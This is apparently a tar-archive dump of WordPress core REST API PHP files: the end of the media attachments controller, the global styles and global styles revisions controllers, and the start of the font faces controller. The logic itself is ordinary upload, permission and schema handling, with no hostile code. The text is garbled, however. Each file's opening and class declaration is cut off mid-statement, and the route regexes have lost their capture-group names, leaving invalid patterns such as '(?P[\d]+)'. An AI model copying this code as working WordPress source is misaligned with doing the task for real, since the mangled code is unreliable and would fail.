handle.' ), array( 'status' => 500 ) ); } fwrite( $fp, $data ); fclose( $fp ); // Now, sideload it in. $file_data = array( 'error' => null, 'tmp_name' => $tmpfname, 'name' => $filename, 'type' => $type, ); $size_check = self::check_upload_size( $file_data ); if ( is_wp_error( $size_check ) ) { return $size_check; } $overrides = array( 'test_form' => false, ); $sideloaded = wp_handle_sideload( $file_data, $overrides ); if ( isset( $sideloaded['error'] ) ) { @unlink( $tmpfname ); return new WP_Error( 'rest_upload_sideload_error', $sideloaded['error'], array( 'status' => 500 ) ); } return $sideloaded; } /** * Parses filename from a Content-Disposition header value. * * As per RFC6266: * * content-disposition = "Content-Disposition" ":" * disposition-type *( ";" disposition-parm ) * * disposition-type = "inline" | "attachment" | disp-ext-type * ; case-insensitive * disp-ext-type = token * * disposition-parm = filename-parm | disp-ext-parm * * filename-parm = "filename" "=" value * | "filename*" "=" ext-value * * disp-ext-parm = token "=" value * | ext-token "=" ext-value * ext-token = * * @since 4.7.0 * * @link https://tools.ietf.org/html/rfc2388 * @link https://tools.ietf.org/html/rfc6266 * * @param string[] $disposition_header List of Content-Disposition header values. * @return string|null Filename if available, or null if not found. */ public static function get_filename_from_disposition( $disposition_header ) { // Get the filename. $filename = null; foreach ( $disposition_header as $value ) { $value = trim( $value ); if ( strpos( $value, ';' ) === false ) { continue; } list( $type, $attr_parts ) = explode( ';', $value, 2 ); $attr_parts = explode( ';', $attr_parts ); $attributes = array(); foreach ( $attr_parts as $part ) { if ( strpos( $part, '=' ) === false ) { continue; } list( $key, $value ) = explode( '=', $part, 2 ); $attributes[ trim( $key ) ] = trim( $value ); } if ( empty( $attributes['filename'] ) ) { continue; } $filename = trim( $attributes['filename'] ); // Unquote quoted filename, but after trimming. if ( substr( $filename, 0, 1 ) === '"' && substr( $filename, -1, 1 ) === '"' ) { $filename = substr( $filename, 1, -1 ); } } return $filename; } /** * Retrieves the query params for collections of attachments. * * @since 4.7.0 * * @return array Query parameters for the attachment collection as an array. */ public function get_collection_params() { $params = parent::get_collection_params(); $params['status']['default'] = 'inherit'; $params['status']['items']['enum'] = array( 'inherit', 'private', 'trash' ); $media_types = $this->get_media_types(); $params['media_type'] = array( 'default' => null, 'description' => __( 'Limit result set to attachments of a particular media type.' ), 'type' => 'string', 'enum' => array_keys( $media_types ), ); $params['mime_type'] = array( 'default' => null, 'description' => __( 'Limit result set to attachments of a particular MIME type.' ), 'type' => 'string', ); return $params; } /** * Handles an upload via multipart/form-data ($_FILES). * * @since 4.7.0 * * @param array $files Data from the `$_FILES` superglobal. * @param array $headers HTTP headers from the request. * @return array|WP_Error Data from wp_handle_upload(). */ protected function upload_from_file( $files, $headers ) { if ( empty( $files ) ) { return new WP_Error( 'rest_upload_no_data', __( 'No data supplied.' ), array( 'status' => 400 ) ); } // Verify hash, if given. if ( ! empty( $headers['content_md5'] ) ) { $content_md5 = array_shift( $headers['content_md5'] ); $expected = trim( $content_md5 ); $actual = md5_file( $files['file']['tmp_name'] ); if ( $expected !== $actual ) { return new WP_Error( 'rest_upload_hash_mismatch', __( 'Content hash did not match expected.' ), array( 'status' => 412 ) ); } } // Pass off to WP to handle the actual upload. $overrides = array( 'test_form' => false, ); // Bypasses is_uploaded_file() when running unit tests. if ( defined( 'DIR_TESTDATA' ) && DIR_TESTDATA ) { $overrides['action'] = 'wp_handle_mock_upload'; } $size_check = self::check_upload_size( $files['file'] ); if ( is_wp_error( $size_check ) ) { return $size_check; } // Include filesystem functions to get access to wp_handle_upload(). require_once ABSPATH . 'wp-admin/includes/file.php'; $file = wp_handle_upload( $files['file'], $overrides ); if ( isset( $file['error'] ) ) { return new WP_Error( 'rest_upload_unknown_error', $file['error'], array( 'status' => 500 ) ); } return $file; } /** * Retrieves the supported media types. * * Media types are considered the MIME type category. * * @since 4.7.0 * * @return array Array of supported media types. */ protected function get_media_types() { $media_types = array(); foreach ( get_allowed_mime_types() as $mime_type ) { $parts = explode( '/', $mime_type ); if ( ! isset( $media_types[ $parts[0] ] ) ) { $media_types[ $parts[0] ] = array(); } $media_types[ $parts[0] ][] = $mime_type; } return $media_types; } /** * Determine if uploaded file exceeds space quota on multisite. * * Replicates check_upload_size(). * * @since 4.9.8 * * @param array $file $_FILES array for a given file. * @return true|WP_Error True if can upload, error for errors. */ protected function check_upload_size( $file ) { if ( ! is_multisite() ) { return true; } if ( get_site_option( 'upload_space_check_disabled' ) ) { return true; } $space_left = get_upload_space_available(); $file_size = filesize( $file['tmp_name'] ); if ( $space_left < $file_size ) { return new WP_Error( 'rest_upload_limited_space', /* translators: %s: Required disk space in kilobytes. */ sprintf( __( 'Not enough space to upload. %s KB needed.' ), number_format( ( $file_size - $space_left ) / KB_IN_BYTES ) ), array( 'status' => 400 ) ); } if ( $file_size > ( KB_IN_BYTES * get_site_option( 'fileupload_maxk', 1500 ) ) ) { return new WP_Error( 'rest_upload_file_too_big', /* translators: %s: Maximum allowed file size in kilobytes. */ sprintf( __( 'This file is too big. Files must be less than %s KB in size.' ), get_site_option( 'fileupload_maxk', 1500 ) ), array( 'status' => 400 ) ); } // Include multisite admin functions to get access to upload_is_user_over_quota(). require_once ABSPATH . 'wp-admin/includes/ms.php'; if ( upload_is_user_over_quota( false ) ) { return new WP_Error( 'rest_upload_user_quota_exceeded', __( 'You have used your space quota. Please delete files before uploading.' ), array( 'status' => 400 ) ); } return true; } /** * Gets the request args for the edit item route. * * @since 5.5.0 * * @return array */ protected function get_edit_media_item_args() { return array( 'src' => array( 'description' => __( 'URL to the edited image file.' ), 'type' => 'string', 'format' => 'uri', 'required' => true, ), 'modifiers' => array( 'description' => __( 'Array of image edits.' ), 'type' => 'array', 'minItems' => 1, 'items' => array( 'description' => __( 'Image edit.' ), 'type' => 'object', 'required' => array( 'type', 'args', ), 'oneOf' => array( array( 'title' => __( 'Rotation' ), 'properties' => array( 'type' => array( 'description' => __( 'Rotation type.' ), 'type' => 'string', 'enum' => array( 'rotate' ), ), 'args' => array( 'description' => __( 'Rotation arguments.' ), 'type' => 'object', 'required' => array( 'angle', ), 'properties' => array( 'angle' => array( 'description' => __( 'Angle to rotate clockwise in degrees.' ), 'type' => 'number', ), ), ), ), ), array( 'title' => __( 'Crop' ), 'properties' => array( 'type' => array( 'description' => __( 'Crop type.' ), 'type' => 'string', 'enum' => array( 'crop' ), ), 'args' => array( 'description' => __( 'Crop arguments.' ), 'type' => 'object', 'required' => array( 'left', 'top', 'width', 'height', ), 'properties' => array( 'left' => array( 'description' => __( 'Horizontal position from the left to begin the crop as a percentage of the image width.' ), 'type' => 'number', ), 'top' => array( 'description' => __( 'Vertical position from the top to begin the crop as a percentage of the image height.' ), 'type' => 'number', ), 'width' => array( 'description' => __( 'Width of the crop as a percentage of the image width.' ), 'type' => 'number', ), 'height' => array( 'description' => __( 'Height of the crop as a percentage of the image height.' ), 'type' => 'number', ), ), ), ), ), ), ), ), 'rotation' => array( 'description' => __( 'The amount to rotate the image clockwise in degrees. DEPRECATED: Use `modifiers` instead.' ), 'type' => 'integer', 'minimum' => 0, 'exclusiveMinimum' => true, 'maximum' => 360, 'exclusiveMaximum' => true, ), 'x' => array( 'description' => __( 'As a percentage of the image, the x position to start the crop from. DEPRECATED: Use `modifiers` instead.' ), 'type' => 'number', 'minimum' => 0, 'maximum' => 100, ), 'y' => array( 'description' => __( 'As a percentage of the image, the y position to start the crop from. DEPRECATED: Use `modifiers` instead.' ), 'type' => 'number', 'minimum' => 0, 'maximum' => 100, ), 'width' => array( 'description' => __( 'As a percentage of the image, the width to crop the image to. DEPRECATED: Use `modifiers` instead.' ), 'type' => 'number', 'minimum' => 0, 'maximum' => 100, ), 'height' => array( 'description' => __( 'As a percentage of the image, the height to crop the image to. DEPRECATED: Use `modifiers` instead.' ), 'type' => 'number', 'minimum' => 0, 'maximum' => 100, ), ); } } rest-api/endpoints/class-wp-rest-global-styles-controller.php000064400000044731147177035020020467 0ustar00namespace = 'wp/v2'; $this->rest_base = 'global-styles'; $this->post_type = 'wp_global_styles'; } /** * Registers the controllers routes. * * @since 5.9.0 * * @return void */ public function register_routes() { register_rest_route( $this->namespace, '/' . $this->rest_base . '/themes/(?P[\/\s%\w\.\(\)\[\]\@_\-]+)/variations', array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_theme_items' ), 'permission_callback' => array( $this, 'get_theme_items_permissions_check' ), 'args' => array( 'stylesheet' => array( 'description' => __( 'The theme identifier' ), 'type' => 'string', ), ), ), ) ); // List themes global styles. register_rest_route( $this->namespace, // The route. sprintf( '/%s/themes/(?P%s)', $this->rest_base, // Matches theme's directory: `/themes///` or `/themes//`. // Excludes invalid directory name characters: `/:<>*?"|`. '[^\/:<>\*\?"\|]+(?:\/[^\/:<>\*\?"\|]+)?' ), array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_theme_item' ), 'permission_callback' => array( $this, 'get_theme_item_permissions_check' ), 'args' => array( 'stylesheet' => array( 'description' => __( 'The theme identifier' ), 'type' => 'string', 'sanitize_callback' => array( $this, '_sanitize_global_styles_callback' ), ), ), ), ) ); // Lists/updates a single global style variation based on the given id. register_rest_route( $this->namespace, '/' . $this->rest_base . '/(?P[\/\w-]+)', array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_item' ), 'permission_callback' => array( $this, 'get_item_permissions_check' ), 'args' => array( 'id' => array( 'description' => __( 'The id of a template' ), 'type' => 'string', 'sanitize_callback' => array( $this, '_sanitize_global_styles_callback' ), ), ), ), array( 'methods' => WP_REST_Server::EDITABLE, 'callback' => array( $this, 'update_item' ), 'permission_callback' => array( $this, 'update_item_permissions_check' ), 'args' => $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); } /** * Sanitize the global styles ID or stylesheet to decode endpoint. * For example, `wp/v2/global-styles/twentytwentytwo%200.4.0` * would be decoded to `twentytwentytwo 0.4.0`. * * @since 5.9.0 * * @param string $id_or_stylesheet Global styles ID or stylesheet. * @return string Sanitized global styles ID or stylesheet. */ public function _sanitize_global_styles_callback( $id_or_stylesheet ) { return urldecode( $id_or_stylesheet ); } /** * Checks if a given request has access to read a single global style. * * @since 5.9.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access, WP_Error object otherwise. */ public function get_item_permissions_check( $request ) { $post = $this->get_post( $request['id'] ); if ( is_wp_error( $post ) ) { return $post; } if ( 'edit' === $request['context'] && $post && ! $this->check_update_permission( $post ) ) { return new WP_Error( 'rest_forbidden_context', __( 'Sorry, you are not allowed to edit this global style.' ), array( 'status' => rest_authorization_required_code() ) ); } if ( ! $this->check_read_permission( $post ) ) { return new WP_Error( 'rest_cannot_view', __( 'Sorry, you are not allowed to view this global style.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Checks if a global style can be read. * * @since 5.9.0 * * @param WP_Post $post Post object. * @return bool Whether the post can be read. */ protected function check_read_permission( $post ) { return current_user_can( 'read_post', $post->ID ); } /** * Returns the given global styles config. * * @since 5.9.0 * * @param WP_REST_Request $request The request instance. * * @return WP_REST_Response|WP_Error */ public function get_item( $request ) { $post = $this->get_post( $request['id'] ); if ( is_wp_error( $post ) ) { return $post; } return $this->prepare_item_for_response( $post, $request ); } /** * Checks if a given request has access to write a single global styles config. * * @since 5.9.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has write access for the item, WP_Error object otherwise. */ public function update_item_permissions_check( $request ) { $post = $this->get_post( $request['id'] ); if ( is_wp_error( $post ) ) { return $post; } if ( $post && ! $this->check_update_permission( $post ) ) { return new WP_Error( 'rest_cannot_edit', __( 'Sorry, you are not allowed to edit this global style.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Checks if a global style can be edited. * * @since 5.9.0 * * @param WP_Post $post Post object. * @return bool Whether the post can be edited. */ protected function check_update_permission( $post ) { return current_user_can( 'edit_post', $post->ID ); } /** * Updates a single global style config. * * @since 5.9.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function update_item( $request ) { $post_before = $this->get_post( $request['id'] ); if ( is_wp_error( $post_before ) ) { return $post_before; } $changes = $this->prepare_item_for_database( $request ); $result = wp_update_post( wp_slash( (array) $changes ), true, false ); if ( is_wp_error( $result ) ) { return $result; } $post = get_post( $request['id'] ); $fields_update = $this->update_additional_fields_for_object( $post, $request ); if ( is_wp_error( $fields_update ) ) { return $fields_update; } wp_after_insert_post( $post, true, $post_before ); $response = $this->prepare_item_for_response( $post, $request ); return rest_ensure_response( $response ); } /** * Prepares a single global styles config for update. * * @since 5.9.0 * * @param WP_REST_Request $request Request object. * @return stdClass Changes to pass to wp_update_post. */ protected function prepare_item_for_database( $request ) { $changes = new stdClass(); $changes->ID = $request['id']; $post = get_post( $request['id'] ); $existing_config = array(); if ( $post ) { $existing_config = json_decode( $post->post_content, true ); $json_decoding_error = json_last_error(); if ( JSON_ERROR_NONE !== $json_decoding_error || ! isset( $existing_config['isGlobalStylesUserThemeJSON'] ) || ! $existing_config['isGlobalStylesUserThemeJSON'] ) { $existing_config = array(); } } if ( isset( $request['styles'] ) || isset( $request['settings'] ) ) { $config = array(); if ( isset( $request['styles'] ) ) { $config['styles'] = $request['styles']; } elseif ( isset( $existing_config['styles'] ) ) { $config['styles'] = $existing_config['styles']; } if ( isset( $request['settings'] ) ) { $config['settings'] = $request['settings']; } elseif ( isset( $existing_config['settings'] ) ) { $config['settings'] = $existing_config['settings']; } $config['isGlobalStylesUserThemeJSON'] = true; $config['version'] = WP_Theme_JSON::LATEST_SCHEMA; $changes->post_content = wp_json_encode( $config ); } // Post title. if ( isset( $request['title'] ) ) { if ( is_string( $request['title'] ) ) { $changes->post_title = $request['title']; } elseif ( ! empty( $request['title']['raw'] ) ) { $changes->post_title = $request['title']['raw']; } } return $changes; } /** * Prepare a global styles config output for response. * * @since 5.9.0 * * @param WP_Post $post Global Styles post object. * @param WP_REST_Request $request Request object. * @return WP_REST_Response Response object. */ public function prepare_item_for_response( $post, $request ) { // phpcs:ignore VariableAnalysis.CodeAnalysis.VariableAnalysis.UnusedVariable $raw_config = json_decode( $post->post_content, true ); $is_global_styles_user_theme_json = isset( $raw_config['isGlobalStylesUserThemeJSON'] ) && true === $raw_config['isGlobalStylesUserThemeJSON']; $config = array(); if ( $is_global_styles_user_theme_json ) { $config = ( new WP_Theme_JSON( $raw_config, 'custom' ) )->get_raw_data(); } // Base fields for every post. $data = array(); $fields = $this->get_fields_for_response( $request ); if ( rest_is_field_included( 'id', $fields ) ) { $data['id'] = $post->ID; } if ( rest_is_field_included( 'title', $fields ) ) { $data['title'] = array(); } if ( rest_is_field_included( 'title.raw', $fields ) ) { $data['title']['raw'] = $post->post_title; } if ( rest_is_field_included( 'title.rendered', $fields ) ) { add_filter( 'protected_title_format', array( $this, 'protected_title_format' ) ); $data['title']['rendered'] = get_the_title( $post->ID ); remove_filter( 'protected_title_format', array( $this, 'protected_title_format' ) ); } if ( rest_is_field_included( 'settings', $fields ) ) { $data['settings'] = ! empty( $config['settings'] ) && $is_global_styles_user_theme_json ? $config['settings'] : new stdClass(); } if ( rest_is_field_included( 'styles', $fields ) ) { $data['styles'] = ! empty( $config['styles'] ) && $is_global_styles_user_theme_json ? $config['styles'] : new stdClass(); } $context = ! empty( $request['context'] ) ? $request['context'] : 'view'; $data = $this->add_additional_fields_to_object( $data, $request ); $data = $this->filter_response_by_context( $data, $context ); // Wrap the data in a response object. $response = rest_ensure_response( $data ); $links = $this->prepare_links( $post->ID ); $response->add_links( $links ); if ( ! empty( $links['self']['href'] ) ) { $actions = $this->get_available_actions(); $self = $links['self']['href']; foreach ( $actions as $rel ) { $response->add_link( $rel, $self ); } } return $response; } /** * Get the post, if the ID is valid. * * @since 5.9.0 * * @param int $id Supplied ID. * @return WP_Post|WP_Error Post object if ID is valid, WP_Error otherwise. */ protected function get_post( $id ) { $error = new WP_Error( 'rest_global_styles_not_found', __( 'No global styles config exist with that id.' ), array( 'status' => 404 ) ); $id = (int) $id; if ( $id <= 0 ) { return $error; } $post = get_post( $id ); if ( empty( $post ) || empty( $post->ID ) || $this->post_type !== $post->post_type ) { return $error; } return $post; } /** * Prepares links for the request. * * @since 5.9.0 * * @param integer $id ID. * @return array Links for the given post. */ protected function prepare_links( $id ) { $base = sprintf( '%s/%s', $this->namespace, $this->rest_base ); $links = array( 'self' => array( 'href' => rest_url( trailingslashit( $base ) . $id ), ), ); return $links; } /** * Get the link relations available for the post and current user. * * @since 5.9.0 * * @return array List of link relations. */ protected function get_available_actions() { $rels = array(); $post_type = get_post_type_object( $this->post_type ); if ( current_user_can( $post_type->cap->publish_posts ) ) { $rels[] = 'https://api.w.org/action-publish'; } return $rels; } /** * Overwrites the default protected title format. * * By default, WordPress will show password protected posts with a title of * "Protected: %s", as the REST API communicates the protected status of a post * in a machine readable format, we remove the "Protected: " prefix. * * @since 5.9.0 * * @return string Protected title format. */ public function protected_title_format() { return '%s'; } /** * Retrieves the query params for the global styles collection. * * @since 5.9.0 * * @return array Collection parameters. */ public function get_collection_params() { return array(); } /** * Retrieves the global styles type' schema, conforming to JSON Schema. * * @since 5.9.0 * * @return array Item schema data. */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } $schema = array( '$schema' => 'http://json-schema.org/draft-04/schema#', 'title' => $this->post_type, 'type' => 'object', 'properties' => array( 'id' => array( 'description' => __( 'ID of global styles config.' ), 'type' => 'string', 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'styles' => array( 'description' => __( 'Global styles.' ), 'type' => array( 'object' ), 'context' => array( 'view', 'edit' ), ), 'settings' => array( 'description' => __( 'Global settings.' ), 'type' => array( 'object' ), 'context' => array( 'view', 'edit' ), ), 'title' => array( 'description' => __( 'Title of the global styles variation.' ), 'type' => array( 'object', 'string' ), 'default' => '', 'context' => array( 'embed', 'view', 'edit' ), 'properties' => array( 'raw' => array( 'description' => __( 'Title for the global styles variation, as it exists in the database.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), ), 'rendered' => array( 'description' => __( 'HTML title for the post, transformed for display.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), ), ), ), ); $this->schema = $schema; return $this->add_additional_fields_schema( $this->schema ); } /** * Checks if a given request has access to read a single theme global styles config. * * @since 5.9.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access for the item, WP_Error object otherwise. */ public function get_theme_item_permissions_check( $request ) { // Verify if the current user has edit_theme_options capability. // This capability is required to edit/view/delete templates. if ( ! current_user_can( 'edit_theme_options' ) ) { return new WP_Error( 'rest_cannot_manage_global_styles', __( 'Sorry, you are not allowed to access the global styles on this site.' ), array( 'status' => rest_authorization_required_code(), ) ); } return true; } /** * Returns the given theme global styles config. * * @since 5.9.0 * * @param WP_REST_Request $request The request instance. * @return WP_REST_Response|WP_Error */ public function get_theme_item( $request ) { if ( wp_get_theme()->get_stylesheet() !== $request['stylesheet'] ) { // This endpoint only supports the active theme for now. return new WP_Error( 'rest_theme_not_found', __( 'Theme not found.' ), array( 'status' => 404 ) ); } $theme = WP_Theme_JSON_Resolver::get_merged_data( 'theme' ); $data = array(); $fields = $this->get_fields_for_response( $request ); if ( rest_is_field_included( 'settings', $fields ) ) { $data['settings'] = $theme->get_settings(); } if ( rest_is_field_included( 'styles', $fields ) ) { $raw_data = $theme->get_raw_data(); $data['styles'] = isset( $raw_data['styles'] ) ? $raw_data['styles'] : array(); } $context = ! empty( $request['context'] ) ? $request['context'] : 'view'; $data = $this->add_additional_fields_to_object( $data, $request ); $data = $this->filter_response_by_context( $data, $context ); $response = rest_ensure_response( $data ); $links = array( 'self' => array( 'href' => rest_url( sprintf( '%s/%s/themes/%s', $this->namespace, $this->rest_base, $request['stylesheet'] ) ), ), ); $response->add_links( $links ); return $response; } /** * Checks if a given request has access to read a single theme global styles config. * * @since 6.0.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access for the item, WP_Error object otherwise. */ public function get_theme_items_permissions_check( $request ) { // phpcs:ignore VariableAnalysis.CodeAnalysis.VariableAnalysis.UnusedVariable // Verify if the current user has edit_theme_options capability. // This capability is required to edit/view/delete templates. if ( ! current_user_can( 'edit_theme_options' ) ) { return new WP_Error( 'rest_cannot_manage_global_styles', __( 'Sorry, you are not allowed to access the global styles on this site.' ), array( 'status' => rest_authorization_required_code(), ) ); } return true; } /** * Returns the given theme global styles variations. * * @since 6.0.0 * * @param WP_REST_Request $request The request instance. * * @return WP_REST_Response|WP_Error */ public function get_theme_items( $request ) { if ( wp_get_theme()->get_stylesheet() !== $request['stylesheet'] ) { // This endpoint only supports the active theme for now. return new WP_Error( 'rest_theme_not_found', __( 'Theme not found.' ), array( 'status' => 404 ) ); } $variations = WP_Theme_JSON_Resolver::get_style_variations(); $response = rest_ensure_response( $variations ); return $response; } } rest-api/endpoints/class-wp-rest-global-styles-revisions-controller.php000064400000027327147177035020022510 0ustar00get_rest_controller(); if ( ! $parent_controller ) { $parent_controller = new WP_REST_Global_Styles_Controller( $parent_post_type ); } $this->parent_controller = $parent_controller; $this->rest_base = 'revisions'; $this->parent_base = ! empty( $post_type_object->rest_base ) ? $post_type_object->rest_base : $post_type_object->name; $this->namespace = ! empty( $post_type_object->rest_namespace ) ? $post_type_object->rest_namespace : 'wp/v2'; } /** * Registers the controller's routes. * * @since 6.3.0 * @since 6.6.0 Added route to fetch individual global styles revisions. */ public function register_routes() { register_rest_route( $this->namespace, '/' . $this->parent_base . '/(?P[\d]+)/' . $this->rest_base, array( 'args' => array( 'parent' => array( 'description' => __( 'The ID for the parent of the revision.' ), 'type' => 'integer', ), ), array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_items' ), 'permission_callback' => array( $this, 'get_items_permissions_check' ), 'args' => $this->get_collection_params(), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); register_rest_route( $this->namespace, '/' . $this->parent_base . '/(?P[\d]+)/' . $this->rest_base . '/(?P[\d]+)', array( 'args' => array( 'parent' => array( 'description' => __( 'The ID for the parent of the global styles revision.' ), 'type' => 'integer', ), 'id' => array( 'description' => __( 'Unique identifier for the global styles revision.' ), 'type' => 'integer', ), ), array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_item' ), 'permission_callback' => array( $this, 'get_item_permissions_check' ), 'args' => array( 'context' => $this->get_context_param( array( 'default' => 'view' ) ), ), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); } /** * Returns decoded JSON from post content string, * or a 404 if not found. * * @since 6.3.0 * * @param string $raw_json Encoded JSON from global styles custom post content. * @return Array|WP_Error */ protected function get_decoded_global_styles_json( $raw_json ) { $decoded_json = json_decode( $raw_json, true ); if ( is_array( $decoded_json ) && isset( $decoded_json['isGlobalStylesUserThemeJSON'] ) && true === $decoded_json['isGlobalStylesUserThemeJSON'] ) { return $decoded_json; } return new WP_Error( 'rest_global_styles_not_found', __( 'Cannot find user global styles revisions.' ), array( 'status' => 404 ) ); } /** * Returns paginated revisions of the given global styles config custom post type. * * The bulk of the body is taken from WP_REST_Revisions_Controller->get_items, * but global styles does not require as many parameters. * * @since 6.3.0 * * @param WP_REST_Request $request The request instance. * @return WP_REST_Response|WP_Error */ public function get_items( $request ) { $parent = $this->get_parent( $request['parent'] ); if ( is_wp_error( $parent ) ) { return $parent; } $global_styles_config = $this->get_decoded_global_styles_json( $parent->post_content ); if ( is_wp_error( $global_styles_config ) ) { return $global_styles_config; } if ( wp_revisions_enabled( $parent ) ) { $registered = $this->get_collection_params(); $query_args = array( 'post_parent' => $parent->ID, 'post_type' => 'revision', 'post_status' => 'inherit', 'posts_per_page' => -1, 'orderby' => 'date ID', 'order' => 'DESC', ); $parameter_mappings = array( 'offset' => 'offset', 'page' => 'paged', 'per_page' => 'posts_per_page', ); foreach ( $parameter_mappings as $api_param => $wp_param ) { if ( isset( $registered[ $api_param ], $request[ $api_param ] ) ) { $query_args[ $wp_param ] = $request[ $api_param ]; } } $revisions_query = new WP_Query(); $revisions = $revisions_query->query( $query_args ); $offset = isset( $query_args['offset'] ) ? (int) $query_args['offset'] : 0; $page = (int) $query_args['paged']; $total_revisions = $revisions_query->found_posts; if ( $total_revisions < 1 ) { // Out-of-bounds, run the query again without LIMIT for total count. unset( $query_args['paged'], $query_args['offset'] ); $count_query = new WP_Query(); $count_query->query( $query_args ); $total_revisions = $count_query->found_posts; } if ( $revisions_query->query_vars['posts_per_page'] > 0 ) { $max_pages = (int) ceil( $total_revisions / (int) $revisions_query->query_vars['posts_per_page'] ); } else { $max_pages = $total_revisions > 0 ? 1 : 0; } if ( $total_revisions > 0 ) { if ( $offset >= $total_revisions ) { return new WP_Error( 'rest_revision_invalid_offset_number', __( 'The offset number requested is larger than or equal to the number of available revisions.' ), array( 'status' => 400 ) ); } elseif ( ! $offset && $page > $max_pages ) { return new WP_Error( 'rest_revision_invalid_page_number', __( 'The page number requested is larger than the number of pages available.' ), array( 'status' => 400 ) ); } } } else { $revisions = array(); $total_revisions = 0; $max_pages = 0; $page = (int) $request['page']; } $response = array(); foreach ( $revisions as $revision ) { $data = $this->prepare_item_for_response( $revision, $request ); $response[] = $this->prepare_response_for_collection( $data ); } $response = rest_ensure_response( $response ); $response->header( 'X-WP-Total', (int) $total_revisions ); $response->header( 'X-WP-TotalPages', (int) $max_pages ); $request_params = $request->get_query_params(); $base_path = rest_url( sprintf( '%s/%s/%d/%s', $this->namespace, $this->parent_base, $request['parent'], $this->rest_base ) ); $base = add_query_arg( urlencode_deep( $request_params ), $base_path ); if ( $page > 1 ) { $prev_page = $page - 1; if ( $prev_page > $max_pages ) { $prev_page = $max_pages; } $prev_link = add_query_arg( 'page', $prev_page, $base ); $response->link_header( 'prev', $prev_link ); } if ( $max_pages > $page ) { $next_page = $page + 1; $next_link = add_query_arg( 'page', $next_page, $base ); $response->link_header( 'next', $next_link ); } return $response; } /** * Prepares the revision for the REST response. * * @since 6.3.0 * @since 6.6.0 Added resolved URI links to the response. * * @param WP_Post $post Post revision object. * @param WP_REST_Request $request Request object. * @return WP_REST_Response|WP_Error Response object. */ public function prepare_item_for_response( $post, $request ) { $parent = $this->get_parent( $request['parent'] ); $global_styles_config = $this->get_decoded_global_styles_json( $post->post_content ); if ( is_wp_error( $global_styles_config ) ) { return $global_styles_config; } $fields = $this->get_fields_for_response( $request ); $data = array(); $theme_json = null; if ( ! empty( $global_styles_config['styles'] ) || ! empty( $global_styles_config['settings'] ) ) { $theme_json = new WP_Theme_JSON( $global_styles_config, 'custom' ); $global_styles_config = $theme_json->get_raw_data(); if ( rest_is_field_included( 'settings', $fields ) ) { $data['settings'] = ! empty( $global_styles_config['settings'] ) ? $global_styles_config['settings'] : new stdClass(); } if ( rest_is_field_included( 'styles', $fields ) ) { $data['styles'] = ! empty( $global_styles_config['styles'] ) ? $global_styles_config['styles'] : new stdClass(); } } if ( rest_is_field_included( 'author', $fields ) ) { $data['author'] = (int) $post->post_author; } if ( rest_is_field_included( 'date', $fields ) ) { $data['date'] = $this->prepare_date_response( $post->post_date_gmt, $post->post_date ); } if ( rest_is_field_included( 'date_gmt', $fields ) ) { $data['date_gmt'] = $this->prepare_date_response( $post->post_date_gmt ); } if ( rest_is_field_included( 'id', $fields ) ) { $data['id'] = (int) $post->ID; } if ( rest_is_field_included( 'modified', $fields ) ) { $data['modified'] = $this->prepare_date_response( $post->post_modified_gmt, $post->post_modified ); } if ( rest_is_field_included( 'modified_gmt', $fields ) ) { $data['modified_gmt'] = $this->prepare_date_response( $post->post_modified_gmt ); } if ( rest_is_field_included( 'parent', $fields ) ) { $data['parent'] = (int) $parent->ID; } $context = ! empty( $request['context'] ) ? $request['context'] : 'view'; $data = $this->add_additional_fields_to_object( $data, $request ); $data = $this->filter_response_by_context( $data, $context ); $response = rest_ensure_response( $data ); $resolved_theme_uris = WP_Theme_JSON_Resolver::get_resolved_theme_uris( $theme_json ); if ( ! empty( $resolved_theme_uris ) ) { $response->add_links( array( 'https://api.w.org/theme-file' => $resolved_theme_uris, ) ); } return $response; } /** * Retrieves the revision's schema, conforming to JSON Schema. * * @since 6.3.0 * @since 6.6.0 Merged parent and parent controller schema data. * * @return array Item schema data. */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } $schema = parent::get_item_schema(); $parent_schema = $this->parent_controller->get_item_schema(); $schema['properties'] = array_merge( $schema['properties'], $parent_schema['properties'] ); unset( $schema['properties']['guid'], $schema['properties']['slug'], $schema['properties']['meta'], $schema['properties']['content'], $schema['properties']['title'] ); $this->schema = $schema; return $this->add_additional_fields_schema( $this->schema ); } /** * Retrieves the query params for collections. * Removes params that are not supported by global styles revisions. * * @since 6.6.0 * * @return array Collection parameters. */ public function get_collection_params() { $query_params = parent::get_collection_params(); unset( $query_params['exclude'], $query_params['include'], $query_params['search'], $query_params['order'], $query_params['orderby'] ); return $query_params; } } rest-api/endpoints/class-wp-rest-font-faces-controller.php000064400000072164147177035020017734 0ustar00namespace, '/' . $this->rest_base, array( 'args' => array( 'font_family_id' => array( 'description' => __( 'The ID for the parent font family of the font face.' ), 'type' => 'integer', 'required' => true, ), ), array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_items' ), 'permission_callback' => array( $this, 'get_items_permissions_check' ), 'args' => $this->get_collection_params(), ), array( 'methods' => WP_REST_Server::CREATABLE, 'callback' => array( $this, 'create_item' ), 'permission_callback' => array( $this, 'create_item_permissions_check' ), 'args' => $this->get_create_params(), ), 'schema' => array( $this, 'get_public_item_schema' ), 